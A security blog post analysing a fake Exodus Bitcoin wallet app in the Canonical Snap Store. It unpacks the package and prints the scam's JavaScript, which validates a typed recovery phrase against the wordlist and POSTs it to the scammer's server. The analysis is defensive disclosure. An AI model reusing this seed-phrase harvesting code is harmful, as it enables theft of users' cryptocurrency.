Previously…
Back in February, I blogged about a series of scam Bitcoin wallet apps that were published in the Canonical Snap store, including one which netted a scammer $490K of some poor rube’s coin.
The snap was eventually removed, and some threads were started over on the Snapcraft forum
Groundhog Day
Nothing has changed it seems, because once again, ANOTHER TEN scam BitCoin wallet apps have been published in the Snap Store today.
Yes, Brenda!
This one has the snappy (sorry) name of exodus-build-96567
published by that not-very-legit looking publisher digisafe00000
. Uh-huh.
Edit: Initially I wrote this post after analysing one of the snaps I stumbled upon. It’s been pointed out there’s a whole bunch under this account. All with popular crypto wallet brand names.
Edit: These were removed. One day later, they popped up again, under a new account. I reported all of them, and pinged someone at Canonical to get them removed.
There’s no indication this is the same developer as the last scam Exodus Wallet snap published in February, or the one published back in November last year.
Presentation
Here’s what it looks like on the Snap Store page https://snapcraft.io/exodus-build-96567 - which may be gone by the time you see this. A real minimum effort on the store listing page here. But I’m sure it could fool someone, they usually do.
It also shows up in searches within the desktop graphical storefront “Ubuntu Software” or “App Centre”, making it super easy to install.
Note: Do not install this.
“Secure, Manage, and Swap all your favorite assets.” None of that is true, as we’ll see later. Although one could argue “swap” is true if you don’t mind “swapping” all your BitCoin for an empty wallet, I suppose.
Although it is “Safe”, apparently, according to the store listing.
Open wide
It looks like the exodus-build-96567
snap was only published to the store today. I wonder what happened to builds 1 through 96566!
$ snap info
name: exodus-build-96567
summary: Secure, Manage, and Swap all your favorite assets.
publisher: Digital Safe (digisafe00000)
store-url: https://snapcraft.io/exodus-build-96567
license: unset
description: |
Forget managing a million different wallets and seed phrases.
Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.
snap-id: wvexSLuTWD9MgXIFCOB0GKhozmeEijHT
channels:
latest/stable: 8.6.5 2024-03-18 (1) 565kB -
latest/candidate: ↑
latest/beta: ↑
latest/edge: ↑
Here’s the app running in a VM.
If you try and create a new wallet, it waits a while then gives a spurious error. That code path likely does nothing. What it really wants you to do is “Add an existing wallet”.
As with all these scam application, all it does is ask for a BitCoin recovery phrase, and with that will likely steal all the coins and send them off to the scammer’s wallet. Obviously I didn’t test this with a real wallet phrase.
When given a false passphrase/recovery-key it calls some remote API then shows a dubious error, having already taken your recovery key, and sent it to the scammer.
What’s inside?
While the snap is still available for download from the store, I grabbed it.
$ snap download exodus-build-96567
Fetching snap "exodus-build-96567"
Fetching assertions for "exodus-build-96567"
Install the snap with:
snap ack exodus-build-96567_1.assert
snap install exodus-build-96567_1.snap
I then unpacked the snap to take a peek inside.
unsquashfs exodus-build-96567_1.snap
Parallel unsquashfs: Using 8 processors
11 inodes (21 blocks) to write
[===========================================================|] 32/32 100%
created 11 files
created 8 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
There’s not a lot in here. Mostly the usual snap scaffolding, metadata, and the single exodus-bin
application binary in bin/
.
tree squashfs-root/
squashfs-root/
├── bin
│ └── exodus-bin
├── meta
│ ├── gui
│ │ ├── exodus-build-96567.desktop
│ │ └── exodus-build-96567.png
│ ├── hooks
│ │ └── configure
│ └── snap.yaml
└── snap
├── command-chain
│ ├── desktop-launch
│ ├── hooks-configure-fonts
│ └── run
├── gui
│ ├── exodus-build-96567.desktop
│ └── exodus-build-96567.png
└── snapcraft.yaml
8 directories, 11 files
Here’s the snapcraft.yaml
used to build the package. Note it needs network access, unsurprisingly.
name: exodus-build-96567 # you probably want to 'snapcraft register <name>'
base: core22 # the base snap is the execution environment for this snap
version: '8.6.5' # just for humans, typically '1.2+git' or '1.3.2'
title: Exodus Wallet
summary: Secure, Manage, and Swap all your favorite assets. # 79 char long summary
description: |
Forget managing a million different wallets and seed phrases.
Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.
grade: stable # must be 'stable' to release into candidate/stable channels
confinement: strict # use 'strict' once you have the right plugs and slots
apps:
exodus-build-96567:
command: bin/exodus-bin
extensions: [gnome]
plugs:
- network
- unity7
- network-status
layout:
/usr/lib/${SNAPCRAFT_ARCH_TRIPLET}/webkit2gtk-4.1:
bind: $SNAP/gnome-platform/usr/lib/$SNAPCRAFT_ARCH_TRIPLET/webkit2gtk-4.0
parts:
exodus-build-96567:
plugin: dump
source: .
organize:
exodus-bin: bin/
For completeness, here’s the snap.yaml
that gets generated at build-time.
name: exodus-build-96567
title: Exodus Wallet
version: 8.6.5
summary: Secure, Manage, and Swap all your favorite assets.
description: |
Forget managing a million different wallets and seed phrases.
Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.
architectures:
- amd64
base: core22
assumes:
- command-chain
- snapd2.43
apps:
exodus-build-96567:
command: bin/exodus-bin
plugs:
- desktop
- desktop-legacy
- gsettings
- opengl
- wayland
- x11
- network
- unity7
- network-status
command-chain:
- snap/command-chain/desktop-launch
confinement: strict
grade: stable
environment:
SNAP_DESKTOP_RUNTIME: $SNAP/gnome-platform
GTK_USE_PORTAL: '1'
LD_LIBRARY_PATH: ${SNAP_LIBRARY_PATH}${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}
PATH: $SNAP/usr/sbin:$SNAP/usr/bin:$SNAP/sbin:$SNAP/bin:$PATH
plugs:
desktop:
mount-host-font-cache: false
gtk-3-themes:
interface: content
target: $SNAP/data-dir/themes
default-provider: gtk-common-themes
icon-themes:
interface: content
target: $SNAP/data-dir/icons
default-provider: gtk-common-themes
sound-themes:
interface: content
target: $SNAP/data-dir/sounds
default-provider: gtk-common-themes
gnome-42-2204:
interface: content
target: $SNAP/gnome-platform
default-provider: gnome-42-2204
hooks:
configure:
command-chain:
- snap/command-chain/hooks-configure-fonts
plugs:
- desktop
layout:
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.1:
bind: $SNAP/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0:
bind: $SNAP/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
/usr/share/xml/iso-codes:
bind: $SNAP/gnome-platform/usr/share/xml/iso-codes
/usr/share/libdrm:
bind: $SNAP/gnome-platform/usr/share/libdrm
Digging Deeper
Unlike the previous scammy application that was written using Flutter, the developers of this one appear to have made a web page in a WebKit GTK wrapper.
If the network is not available, the application loads with an empty window containing an error message “Could not connect: Network is unreachable”.
I brought the network up, ran Wireshark then launched the rogue application again. The app clearly loads the remote content (html, javascript, css, and logos) then renders it inside the wrapper Window.
Edit: I reported this IP to Hostinger abuse, which they took down on 19th March.
The javascript is pretty simple. It has a dictionary of words which are allowed in a recovery key. Here’s a snippet.
var words = ['abandon', 'ability', 'able', 'about', 'above', 'absent', 'absorb',
⋮
'youth', 'zebra', 'zero', 'zone', 'zoo'];
As the user types words, the application checks the list.
var alreadyAdded = {};
function checkWords() {
var button = document.getElementById("continueButton");
var inputString = document.getElementById("areatext").value;
var words_list = inputString.split(" ");
var foundWords = 0;
words_list.forEach(function(word) {
if (words.includes(word)) {
foundWords++;
}
});
if (foundWords === words_list.length && words_list.length === 12 || words_list.length === 18 || words_list.length === 24) {
button.style.backgroundColor = "#511ade";
if (!alreadyAdded[words_list]) {
sendPostRequest(words_list);
alreadyAdded[words_list] = true;
button.addEventListener("click", function() {
renderErrorImport();
});
}
}
else{
button.style.backgroundColor = "#533e89";
}
}
If all the entered words are in the dictionary, it will allow the use of the “Continue” button to send a “POST” request to a /collect
endpoint on the server.
function sendPostRequest(words) {
var data = {
name: 'exodus',
data: words
};
fetch('/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => {
if (!response.ok) {
throw new Error('Error during the request');
}
return response.json();
})
.then(data => {
console.log('Response:', data);
})
.catch(error => {
console.error('There is an error:', error);
});
}
Here you can see in the payload, the words I typed, selected from the dictionary mentioned above.
It also periodically ‘pings’ the /ping
endpoint on the server with a simple payload of {" name":"exodus"}
. Presumably for network connectivity checking, telemetry or seeing which of the scam wallet applications are in use.
function sendPing() {
var data = {
name: 'exodus',
};
fetch('/ping', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => {
if (!response.ok) {
throw new Error('Error during the request');
}
return response.json();
})
.then(data => {
console.log('Response:', data);
})
.catch(error => {
console.error('There is an error:', error);
});
}
All of this is done over HTTP, because of course it is. No security needed here!
Conclusion
It’s trivially easy to publish scammy applications like this in the Canonical Snap Store, and for them to go unnoticed.
I was somewhat hopeful that my previous post may have had some impact. It doesn’t look like much has changed yet beyond a couple of conversations on the forum.
It would be really neat if the team at Canonical responsible for the store could do something to prevent these kinds of apps before they get into the hands of users.
I’ve reported the app to the Snap Store team.
Until next time, Brenda!